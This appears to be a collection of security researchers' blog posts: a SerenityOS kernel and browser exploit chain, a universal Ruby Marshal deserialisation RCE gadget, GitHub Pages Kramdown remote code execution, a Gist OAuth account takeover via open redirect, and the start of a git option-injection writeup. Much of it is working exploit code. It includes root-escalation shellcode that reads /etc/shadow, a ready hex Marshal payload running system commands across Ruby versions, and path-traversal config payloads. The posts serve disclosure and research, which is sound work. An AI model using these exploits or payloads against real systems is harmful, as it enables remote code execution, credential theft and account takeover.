mov eax, 0xc01192c7
call eax

got_thread:
; set priority very high
mov dword ptr [eax + 0x2c0], 99
mov dword ptr [eax + 0x2c4], 0x50000000

; get current process via Kernel::Process::current
mov eax, 0xc01fb033
call eax

; set uid/guid/euid to 0
mov dword ptr [eax + 0x38], 0
mov dword ptr [eax + 0x40], 0
mov dword ptr [eax + 0x48], 0

; give all promises
mov dword ptr [eax + 0x140], 0xffffffff
mov dword ptr [eax + 0x144], 0xffffffff

; set veil_state to 0
mov dword ptr [eax + 0x14c], 0

already_done:
pop    ebp
ret

We can the compile the shellcode, add it to hax.cpp (replacing payload_bin) and then try to do some things as root:

    // ...

    // overwrite the kernel region
    log("overwritting kernel mapping\n");
    serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

    // make the exploit a bit more stable by make sure everything is loaded already
    char buff[200] = {};
    open("/ggg", O_RDONLY, 0);
    read(-1, buff, 199);

    // overwrite the kernel region
    log("overwritting kernel mapping\n");
    serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

    int fds = open("/etc/shadow", O_RDONLY, 0);
    read(fds, buff, 199);
    log("/etc/shadow: ");
    log(buff);
    log("\n");

    while (true) { }

    return 0;

Resulting in the process becoming root with just enough time to do a few things before everything crashed!

starting hax
injecting mapping
grooming regions
filling up to last region to correct location
overwritting kernel mapping
/etc/shadow: root:
anon:$5$zFiQBeTD88m/mhbU$ecHDSdRd5yNV45BzIRXwtRpxJtMpVI5twjRRXO8X03Q=

[WindowServer(16:16)]: CPU[0] NP(error) fault at invalid address V0xffe08000
[WindowServer(16:16)]: Unrecoverable page fault, write to address V0xffe08000
[WindowServer(16:16)]: CRASH: CPU #0 Page Fault. Ring 0.
[WindowServer(16:16)]: exception code: 0002 (isr: 0000
[WindowServer(16:16)]:   pc=0008:c01c7cc9 flags=0046
[WindowServer(16:16)]:  stk=0010:c180ac78
[WindowServer(16:16)]:   ds=0010 es=0010 fs=0030 gs=002b
[WindowServer(16:16)]: eax=00000000 ebx=c01151a8 ecx=00000400 edx=ffe08000
[WindowServer(16:16)]: ebp=c180ace0 esp=c180ac78 esi=c05ce014 edi=ffe08000
[WindowServer(16:16)]: cr0=80010013 cr2=ffe08000 cr3=0140f000 cr4=000006e4
[WindowServer(16:16)]: code: f3 ab 89 34 24 e8 d1 f3
[WindowServer(16:16)]: Crash in ring 0 :(
[WindowServer(16:16)]: 0xc011c71b
[WindowServer(16:16)]: 0xc011cbc8
[WindowServer(16:16)]: 0xc0118c0b
[WindowServer(16:16)]: 0xc01c38f1
[WindowServer(16:16)]: 0xc01d1cc9
[WindowServer(16:16)]: 0xc01cb714
[WindowServer(16:16)]: 0xc011c8bb
[WindowServer(16:16)]: 0xc0118c0b

Browserify

The final stage was to combine the kernel exploit with the browser exploit. The hax.cpp kernel exploit was already being compiled with PIE, but it depended on libc and a few other dynamic libraries. There was probably a way to just statically compile it but in the end I just copied all of the required functions and syscalls in so that nothing else was needed :)

It could then be included and run directly in the previous browser exploit using a quick python script to get it into the right format:

from pwn import *

data = read("./Build/Userland/Utilities/hax")[0x4C0:] # address of main
print("const shellcode = {};".format(unpack_many(data, 32)))

Putting it all together, hosting it, the firing up br http://aw.rs/hax.html in serenity:

LaunchServer(30): Received connection
Browser(28): FrameLoader::load: http://aw.rs/hax.html
LookupServer(31): Using network config file at /etc/LookupServer.ini
Browser(28): Added new tab 0x02df07e8, loading http://aw.rs/hax.html
Browser(28): I believe this content has MIME type 'text/html', , encoding 'utf-8'
starting hax
injecting mapping
grooming regions
filling up to last region to correct location
[Browser(28:28)]: kmalloc(): Adding memory to heap at V0xc2cf7000, bytes: 1048576
overwritting kernel mapping
/etc/shadow: root:
anon:$5$9nh9cNPUmFXTsRuM$M8o3je+RciZB6rX3U6LePJVm134mWjNL/VCJf1qIxyo=

Victory!

Next steps

Since starting this there have been a whole heap of mitigations implemented to make exploiting bugs harder in SerenityOS, including better aslr, better W^X, a new prot_exec promise as well as many others.

In the next post I’ll take a look at the same two issues again, but with all of the recent mitigations applies and see how that changes things :)

Appendix

All the files can be found at here

Universal Deserialisation Gadget for Ruby 2.x-3.x

2021-01-07T09:56:00+00:00

Update 2022-04

This has been patched and so will only works for Ruby 3.0.2 and below:

One of the challenges I wrote for pbctf 2020 involved exploiting deserialisation in a rails app to get code execution and retrieve the flag. The challenge was running with ruby 2.7.2 and rails 6.1, which meant that the existing public gadgets no longer worked and players had to discover a new one.

While researching, I came across a fantastic article published by elttam titled Ruby 2.x Universal RCE Deserialization Gadget Chain. It goes into great detail on how they came up with a universal gadget that did not require anything other than the default gems to be loaded, well worth a read if you haven’t already.

Since the challenge was written using rails, there was a lot more gems and classes to choose from compared to just the defaults. There were a few great solutions to the challenge by players, the one I found combined the original DeprecatedInstanceVariableProxy gadget to call the execute method on ActiveModel::AttributeMethods::ClassMethods::CodeGenerator to achieve code execution.

After the ctf was over I decided to keep looking around to see if I could find another universal gadget, as the Gem::StubSpecification gadget used in the elttam article was patched in ruby 2.7+.

I started off trying to find a class to be used as a replacement for Gem::StubSpecification, something that allowed for code execution, eval, or the ability to call arbitrary methods. Using the same autoload trick in the elttam article and lots of regex searches in RubyMine, I came across Net::WriteAdapter:

class WriteAdapter
  def initialize(socket, method)
    @socket = socket
    @method_id = method
  end

  def inspect
    "#<#{self.class} socket=#{@socket.inspect}>"
  end

  def write(str)
    @socket.__send__(@method_id, str)
  end

  alias print write

  def <<(str)
    write str
    self
  end

  def puts(str = '')
    write str.chomp("\n") + "\n"
  end

  def printf(*args)
    write sprintf(*args)
  end
end

It looked very promising as @socket and @method_id could both be set to anything, and if a way to call any of the methods write, print, <<, puts or printf could be found it would allow any method to be called on an object.

After many dead ends and a lot more searching I found Net::BufferedIO, which had the following LOG method:

    def read(len, dest = ''.b, ignore_eof = false)
      LOG "reading #{len} bytes..."
    #...

    def LOG(msg)
      return unless @debug_output
      @debug_output << msg + "\n"
    end

    def eof?
      @io.eof?
    end

This was called by both read and readall, so it could be chained to Net::WriteAdapter if a way to call read could be found.

I had also started looking for initial/kick-off gadgets, similar to the Gem::Requirement one that called each in the elttam article. One of the interesting ones found was Gem::Version which allowed calling to_s on any object (relevant code):

# we can fully control the objects in this array
def marshal_load(array)
  initialize array[0]
end

def initialize(version)
  # first thing is the version check
  unless self.class.correct?(version)
    raise ArgumentError, "Malformed version number string #{version}"
  end

  version = 0 if version.is_a?(String) && version =~ /\A\s*\Z/
  @version = version.to_s.strip.gsub("-",".pre.")
  @segments = nil
end

def self.correct?(version)
  unless Gem::Deprecate.skip
    warn "nil versions are discouraged and will be deprecated in Rubygems 4" if version.nil?
  end

  # here to_s is called on our object
  !!(version.to_s =~ ANCHORED_VERSION_PATTERN)
end

To find these methods, I slightly modified the existing marshal_load method check to quickly see what implemented a function:

def check(functions)
  ObjectSpace.each_object(::Class) do |obj|
    all_methods = (obj.instance_methods + obj.private_instance_methods).uniq

    functions.each do |function|
      if all_methods.include? function
        method_origin = obj.instance_method(function).inspect[/\((.*)\)/, 1] || obj.to_s
        unless method_origin.nil? || method_origin == ''
          puts obj
          puts "  #{function} defined by #{method_origin}"
          puts "  ancestors = #{obj.ancestors}"
          puts
        end
      end
    end
  end
end

This opened up more options for finding gadgets, as there are quite a few to_s methods implemented compared to marshal_load. A few examples that were found:

Gem::Resolver::ActivationRequest which would allow for name, version, or platform to be called on a controllable object:

class Gem::Resolver::ActivationRequest
  alias_method :to_s, :full_name

  def full_name
    name_tuple.full_name
  end

  def name_tuple
    @name_tuple ||= Gem::NameTuple.new(name, version, platform)
  end

  def name
    @spec.name
  end

  def version
    @spec.version
  end

  def platform
    @spec.platform
  end

OptionParser::ParseError which allowed join to be called, as well as the [] method with a controlled argument:

class ParseError < RuntimeError
  def initialize(*args, additional: nil)
    @additional = additional
    @arg0, = args
    @args = args
    @reason = nil
  end

  attr_reader :args
  attr_writer :reason
  attr_accessor :additional

  alias to_s message

  def message
    "#{reason}: #{args.join(' ')}#{additional[@arg0] if additional}"
  end

  def reason
    @reason || self.class::Reason
  end

I went back to the other end of the gadget chain and started looking for places that called read on an object, and eventually discovered Gem::Package::TarReader and Gem::Package::TarHeader:

class Gem::Package::TarReader
  def each
    return enum_for __method__ unless block_given?

    use_seek = @io.respond_to?(:seek)

    until @io.eof? do
      header = Gem::Package::TarHeader.from @io
      return if header.empty?
  # snip
  end
end

class Gem::Package::TarHeader
  def self.from(stream)
      header = stream.read 512
      empty = (EMPTY_HEADER == header)
  # snip
  end
end

Since there already was initial gadget to call each (thanks to elttam) it looked very promising, a chain such as Gem::Requirement#marshal_load -> Gem::Package::TarReader#each -> Gem::Package::TarHeader#from -> Net::BufferedIO#read -> Net::BufferedIO#LOG -> Net::WriteAdapter#<< could be created. This would allow for any method to be called, so long as it accepted a single parameter. Unfortunately, the content of the parameter was not controllable, but it was still a very powerful gadget.

For TarHeader.from to be called, a class that had a falsey eof? method was needed to pass the conditional. A suitable choice wasGem::Package::TarReader::Entry as the result of the eof? call was easily controllable:

class Gem::Package::TarReader::Entry
  ##
  # Is the tar entry closed?

  def closed?
    @closed
  end

  ##
  # Are we at the end of the tar entry?

  def eof?
    check_closed

    @read >= @header.size
  end

  def check_closed # :nodoc:
    raise IOError, "closed #{self.class}" if closed?
  end

All of this could now be put together, giving the ability to call arbitrary methods on an object:

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa = Net::WriteAdapter.new(Kernel, :vakzz)

io = Gem::Package::TarReader::Entry.allocate
io.instance_variable_set('@read', 0)
io.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', io)
n.instance_variable_set('@debug_output', wa)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)


payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)

Traceback (most recent call last):
       13: from /Users/will/.rubies/ruby-2.7.2/bin/irb:23:in `<main>'
       12: from /Users/will/.rubies/ruby-2.7.2/bin/irb:23:in `load'
       11: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/gems/2.7.0/gems/irb-1.2.6/exe/irb:11:in `<top (required)>'
       10: from (irb):297
        9: from (irb):297:in `load'
        8: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/requirement.rb:207:in `marshal_load'
        7: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements'
        6: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each'
        5: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from'
        4: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
        3: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
        2: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
        1: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
NoMethodError (undefined method `vakzz' for Kernel:Module)

The issue was that the argument to the call was not controllable, but now nearly any class and method could be used in the gadget chain. In the original search for ways to call the Net::WriteAdapter methods, I had found quite a few that were discarded (due to being unlikely to have ways to call them) which could now be used. One of them was Gem::RequestSet#resolve:

def resolve(set = Gem::Resolver::BestSet.new)
  @sets << set
  @sets << @git_set
  # snip
end

This was perfect as @sets and @git_set were both fully controllable, and the argument set would be assigned the log message reading 512 bytes... from the gadget chain. Another Net::WriteAdapter gadget could be used for @sets, it would end up calling the method with the uncontrolled data first but then again with the controlled @git_set.

The final gadget could then be constructed to trigger a call to Kernel.system("id"):

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)

sh: reading: command not found
uid=501(will) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),703(com.apple.sharepoint.group.3),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

This gadget works for Ruby 2.x to 3.x and does not require anything other that the default classes to be loaded.

for i in `seq -f 2.%g 0 7; echo 3.0`; do echo -n "ruby:${i} - "; docker run --rm -it ruby:${i} ruby -e 'Marshal.load(["04085b08631547656d3a3a5370656346657463686572631347656d3a3a496e7374616c6c6572553a1547656d3a3a526571756972656d656e745b066f3a1c47656d3a3a5061636b6167653a3a546172526561646572063a0840696f6f3a144e65743a3a4275666665726564494f073b076f3a2347656d3a3a5061636b6167653a3a5461725265616465723a3a456e747279073a0a407265616469003a0c40686561646572492208616161063a0645543a124064656275675f6f75747075746f3a164e65743a3a577269746541646170746572073a0c40736f636b65746f3a1447656d3a3a52657175657374536574073a0d406769745f7365744922076964063b0c543a0a40736574736f3b0e073b0f6d0b4b65726e656c3a0f406d6574686f645f69643a0b73797374656d3b133a0c7265736f6c7665"].pack("H*")) rescue nil'; done

ruby:2.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)

GitHub Pages - Multiple RCEs via insecure Kramdown configuration - $25,000 Bounty

2020-10-20T09:49:00+00:00

I was keeping an eye on the GitHub Enterprise release notes to see when a patch for my previous bug would land, and when it did there was also a critical fix for an issue in Kramdown:

The description of CVE-2020-14001 gave a pretty good summary of what the issue was and how it could be exploited:

The kramdown gem before 2.3.0 for Ruby processes the template option inside Kramdown documents by default, which allows unintended read access (such as template=”/etc/passwd”) or unintended embedded Ruby code execution (such as a string that begins with template=”string://<%= `). NOTE: kramdown is used in Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum.

The template option for kramdown can accept any file path or if it starts with string:// then it will be used as the template contents. Since the templates are ERBs, this allows for arbitrary ruby code to be executed.

To test out this issue, I created a new Jekyll site and added the following to the _config.yaml:

markdown: kramdown
kramdown:
  template: string://<%= %x|date| %>

After starting up and loading the page the custom ERB had indeed been used:

<div class="home">Tue 20 Oct 2020 21:12:08 AEDT
<h2 class="post-list-heading">Posts</h2>

Discovery

That got me thinking about what other options Jekyll and Kramdown allowed and if any of them could be exploited. GitHub Pages was using a version of Kramdown based on version 1.17.0, so I was looking through the the Kramdown::Options module for that version and saw that the simple_hash_validator was using YAML.load which has the potential to create arbitrary ruby objects via deserialisation:

def self.simple_hash_validator(val, name)
  if String === val
    begin
      val = YAML.load(val)

This could be hit with the syntax_highlighter_opts option, but after trying a few payloads I realised that the pages_jekyll gem loads safe_yaml which prevents YAML.load from deserialising ruby object.

A few hours later I came across an interesting option that didn’t seem to be documented like the others. It was used when creating a new Kramdown::Document and there was a handy comment:

# Create a new Kramdown document from the string +source+ and use the provided +options+. The
# options that can be used are defined in the Options module.
#
# The special options key :input can be used to select the parser that should parse the
# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to
# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not
# set, it defaults to +Kramdown+.
#
# The +source+ is immediately parsed by the selected parser so that the root element is
# immediately available and the output can be generated.
def initialize(source, options = {})
  @options = Options.merge(options).freeze
  parser = (@options[:input] || 'kramdown').to_s
  parser = parser[0..0].upcase + parser[1..-1]
  try_require('parser', parser)
  if Parser.const_defined?(parser)
    @root, @warnings = Parser.const_get(parser).parse(source, @options)
  else
    raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")
  end
end

So if the :input option exists, the first letter is made uppercase, then it is passed to try_require with the type set to parser:

# Try requiring a parser or converter class and don't raise an error if the file is not found.
def try_require(type, name)
  require("kramdown/#{type}/#{Utils.snake_case(name)}")
  true
rescue LoadError
  true
end

As implementation of snake_case only cared about alpha characters and ignore everything else, this mean that directory traversal was possible causing require to load a file outside of the intended path!

I created a file /tmp/evil.rb with the contents system("echo hi > /tmp/ggg") and started jekyll with the following _config.yml:

markdown: kramdown
kramdown:
  input: ../../../../../../../../../../../../../../../tmp/evil.rb

Jekyll failed to build and output jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb, but looking at in /tmp/ the file existed meaning the ruby code had been run!

$ cat /tmp/ggg
hi

Exploit

I created a new pages repo on my GHE server, added the /tmp/evil.rb payload and confirmed that the same thing happened. Next thing was to work out how to get controllable ruby file to a known location so that it could be used as the payload. I used opensnoop from perf-tools and watched the paths as github built the jekyll site and saw that the following directories were being used:

/data/user/tmp/pages/page-build-23481
/data/user/tmp/pages/pagebuilds/vakzz/jekyll1

The first was the input directory and the second the output, but both were quickly removed after the process had finished and copied to a hashed location. Since the output directory was only based on the user and repo name that would be the easiest, just had to work out how to make it hang around for longer than normal.

I created five 100mb files using dd if=/dev/zero of=file.out bs=1000000 count=100 as well as a code.rb payload and added them to a jekyll site, then created a loop that just pushed the repo over and over again with while true; do git add -A . && git commit --amend -m aa && git push -f; done. Looking at the /data/user/tmp/pages/pagebuilds/vakzz/jekyll1 directory it was now present for a much longer time.

Final step was to create a new site that had a malicious input that pointed to the first jeykll build folder:

markdown: kramdown
kramdown:
  input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb

Then set that repo pushing and building in a loop as well. After around a minute the file appeared!

$ ls -asl /tmp/ | grep ggg
4 -rw-r--r--  1 pages             pages                3 Aug 19 13:58 ggg4

I wrote up the report and sent it through and once again it was triaged amazingly fast (within 30 minutes). A few hours later I received a response saying they were working on hardening the Kramdown options and if I knew of any others that should be restricted.

The only other option that looked a bit suspicious had been the formatter_class (set as part of syntax_highlighter_opts), but it had validation allowing only alpha numeric and was then looked up using :Rouge::Formatters.const_get

def self.formatter_class(opts = {})
  case formatter = opts[:formatter]
  when Class
    formatter
  when /\A[[:upper:]][[:alnum:]_]*\z/
    ::Rouge::Formatters.const_get(formatter)

At the time I thought this was fairly safe, but mentioned it along with the simple_hash_validator.

The next night I was looking into how ::Rouge::Formatters.const_get actually worked. It turned out that it didn’t restrict the constant to ::Rouge::Formatters like I’d originally thought and could return any constant/class that had been defined. The regex was still limiting (no :: allowed) but it still could be used to return quite a few classes. Once the constant was found it was used to create a new instance and then have the format method called:

formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))

To test this out, I edited the _config.yml with the following and then tried to build the site.

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

It blew up, but the error message showed that the CVS class had been created!

jekyll 3.8.5 | Error:  private method `format' called for #<CSV:0x00007fe0d195bd48>

I added a comment to the report saying that the formatter options should definitely be restricted and that I would continue to look see if it was exploitable.

So what we had now was the ability to create a top level ruby object whose initialiser took a single hash, and we had a fair amount of control over what was in that hash. I spend a bit of time google and testing things in ruby for how to get a list of constants, before coming up with the following script:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }

methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
end

It was pretty quick and dirty, but basically found all of the constants that matched the regex and tried to create a new instance using a hash. I logged into the GHE server, went to the pages directory and ran the script. There were quite a few that reported worked or maybe, but a lot could be discard as they were things like StandardError.

I stared working through the list of classes looking at the code to see what happened in the initialiser, not finding much of interest until coming across this:

trying Hoosegow
#<Hoosegow::InmateImportError: inmate file doesn't exist>
maybe

Already the error message sounded promising! The Hoosegow initialize method was the following:

  def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods

And the load_inmate_methods method was:

def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

This was perfect! Since we could add anything to the options hash, this would allow us to pass in our own inmate_dir directory and then all we need to do is have a malicious inmate.rb there waiting.

Following the same process as before, I edited the _config.yml with the following:

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: Hoosegow
    inmate_dir: /tmp/

Then created the /tmp/inmate.rb file on the GHE server with a payload and pushed the jekyll site. A few seconds later the file had been required and the payload executed!

Timeline

August 20, 2020 00:18:42 AEST - Reported RCE to GitHub via HackerOne
August 20, 2020 00:50:41 AEST - Report triaged
August 20, 2020 06:12:37 AEST - Confirmed working on fix, asked about other options
August 20, 2020 07:14:57 AEST - Sent through other potential options
August 20, 2020 22:55:52 AEST - Reported formatter_class discovery
August 20, 2020 23:49:55 AEST - Reported RCE via Hoosegow class
August 27, 2020 04:21:37 AEST - CVE-2020-10518 issued and GHE release pending
October 15, 2020 05:48:59 AEDT - $20,000 bounty + $5,000 bonus

GitHub Gist - Account takeover via open redirect - $10,000 Bounty

2020-10-19T09:46:00+00:00

While looking into bypasses for the per form CSRF token in my last post, I was digging into every method that was used to generate urls, trying to find one that could be used to create the required token.

Discovery

One of these was those methods was url_for, which is often used to generate links to other controllers. Although I was unable to find anywhere useable as a bypass, I did come across a few places that where calling url_for with a user a controllable hash. When this is done any extra parameters in the hash are appended to the url as a query string, but looking at the implementation and the docs showed that there are quite a few options that would be controllable:

:only_path - If true, the relative URL is returned. Defaults to false.
:protocol - The protocol to connect to. Defaults to ‘http’.
:host - Specifies the host the link should be targeted at. If :only_path is false, this option must be provided either explicitly, or via default_url_options.
:subdomain - Specifies the subdomain of the link, using the tld_length to split the subdomain from the host. If false, removes all subdomains from the host part of the link.
:domain - Specifies the domain of the link, using the tld_length to split the domain from the host.
:tld_length - Number of labels the TLD id composed of, only used if :subdomain or :domain are supplied. Defaults to ActionDispatch::Http::URL.tld_length, which in turn defaults to 1.
:port - Optionally specify the port to connect to.
:anchor - An anchor name to be appended to the path.
:params - The query parameters to be appended to the path.
:trailing_slash - If true, adds a trailing slash, as in “/archive/2009/”
:script_name - Specifies application path relative to domain root. If provided, prepends application path.

I’ve previously seen in other apps the the more common options like :protocol, :host options blacklisted/removed or :only_path set to true to prevent them from being used (even brakeman suggests this is safe), but had never seen the :script_name param before. It ended up being used by the path_for method and if it existed then was always used at the start of the path:

def path_for(options)
    path = options[:script_name].to_s.chomp("/")
    path << options[:path] if options.key?(:path)

    add_trailing_slash(path) if options[:trailing_slash]
    add_params(path, options[:params]) if options.key?(:params)
    add_anchor(path, options[:anchor]) if options.key?(:anchor)

    path
end

There were a couple of places in GitHub that were creating links using code similar to this:

<a class="link" href="<%= url_for(request.query_parameters.merge(only_path: true)) %>">
    Click me
</a>

Which meant that if a query string such as ?script_name=javascript:alert(1)// was used it would end up generating the following html:

<a class="link" href="javascript:alert(1)//user/repo/...">
    Click me
</a>

So a fairly low severity reflected XSS, requiring a click, that was also blocked by the CSP, but still a pretty interesting bug.

I then came across another place using url_for with controllable arguments, this time as part of a redirect. The code was in the application controller and doing the following (method/param names have been changed):

  before_action :check_source

  def check_source
    source = params["source"]
    return redirect_to(check_source_redirect_url) if source == "message"
  end

  def check_source_redirect_url
    query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {}
    filtered_params = query.except("source", "token").merge(only_path: true)
    url_for(filtered_params)
  end

As this was using only_path: true it would normally only allow urls to the existing host and just preserve the query params, but using the trick with script_name had some interesting results. There is no requirement for script_name to start with a slash, and when used with a redirect_to it was appended directly to the host:

curl -i 'http://local.dev?source=message&script_name=ggg'
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://local.devggg/welcome/index
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 7c8eedfa-f552-4d5a-bbcd-295f4e7fd9c0
X-Runtime: 0.002744
Transfer-Encoding: chunked

<html><body>You are being <a href="http://local.devggg/welcome/index">redirected</a>.</body></html>

Since the end of the domain was controllable, if .attacker.domain was used as the script_name it would redirect to their domain. As I was still looking for CSRF bypasses I submitted the bug as just an open redirect and continued on.

Exploit

The next day I was talking corb3nik about the impact of open redirects, and he mentioned that OAuth tokens were often good targets. Looking at the bug again I realised that it was actually quite powerful since it was hit pretty early in the application controller meaning that it would affect pretty much any route (all of the controllers extend the application controller).

GitHub comes with a few built in OAuth applications, one of then being for Gist. GitHub Gist is the same rails app as GitHub, just behind a different hostname and has different routes exposed. When logging in to Gist, you go through the normal OAuth flow which is a whole heap of redirects looking something like:

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback
https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY
https://gist.github.com/auth/github
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ
https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ
https://gist.github.com/

In order to successfully log in to Gist, an attacker would only need the browser_session_id and code, as the client_id is public and the state param can be generated by the attacker as it’s only there for CSRF prevention.

The initial redirect goes to the redirect_uri with the code and browser_session_id, so I tried adding script_name=.wbowling.info to it and low and behold it worked! I was redirect to my domain with the required parameters appended.

In a new private tab I went to https://gist.github.com/auth/github/callback to grab a valid state param, then went there again this time using the valid browser_session_id, code and state params and was successfully logged in.

Since GitHub and Gist use different session tokens it didn’t allow access to github.com but granted full access to Gist.

Timeline

July 26, 2020 00:33:38 AEST - Reported open redirect
July 26, 2020 12:57:38 AEST - Updated with Gist account takeover
July 26, 2020 23:33:30 AEST - Report was triaged
July 29, 2020 (not sure exactly when) - Since the bug only affected github.com and not GHE it was hot fixed
October 15, 2020 05:45:45 AEDT - $10,000 bounty awarded

GitHub - RCE via git option injection (almost) - $20,000 Bounty

2020-10-18T02:20:00+00:00

It had been a while since I’d looked into GitHub, so I thought it would be good to spin up a fresh enterprise trial and see what I could find. The GHE code is obfuscated, but it’s just to discourage customers from messing around and if you do a bit of googling there are lots of scripts available to decode it leaving you with regular ruby files for a rails app.

The last bug I submitted to GitHub was around a year ago. It was to do with injecting options into the git command using branch names that started with a - allowing an attacker to truncate files on the server, so I decided that was a good place to start to see if any similar bugs had been introduced.

Discovery

I began searching for all the places that the git process was called, then tracing the arguments back to see if they were user controllable and if they were sanitised correctly. Most places either put user controlled data behind -- in the command so that it is never parsed as an option, or there was a check to make sure that it is a valid sha1 or commitish value and doesn’t start with a -.

After a while I came across a method reverse_diff which took two commits and ended up running a git diff-tree with them, and the only check was that there were both valid git references for the repo (sha, branch, tag, etc). Tracing backwards, this function was called by a revert_range method which was used when reverting between two previous wiki commits. So a POST to user/repo/wiki/Home/_revert/57f931f8839c99500c17a148c6aae0ee69ded004/1967827bcd890246b746a5387340356d0ac7710a would end up calling reverse_diff with the values 57f931f8839c99500c17a148c6aae0ee69ded004 and 1967827bcd890246b746a5387340356d0ac7710a.

This looked perfect! I checked out a repo and pushed a new branch called --help with git push origin master:--help, then tried to post to user/repo/wiki/Home/_revert/HEAD/--help. But instead of success a 422 Unprocessable Entity was returned. Looking at the server logs it was complaining that the CSRF token was invalid. Turns out that rails now has per form CSRF tokens that are generated based on the path that you are posting to. Query parameters aren’t checked, but in this case the route was setup to only allow path params for the commits.

The form for the revert along with the valid token was generated by the wiki compare template, but unfortunately that had a much stricter validation and required the commits to be valid sha hashes. This meant that I couldn’t get it to render a valid form and token for the --help branch, only for valid commit shas.

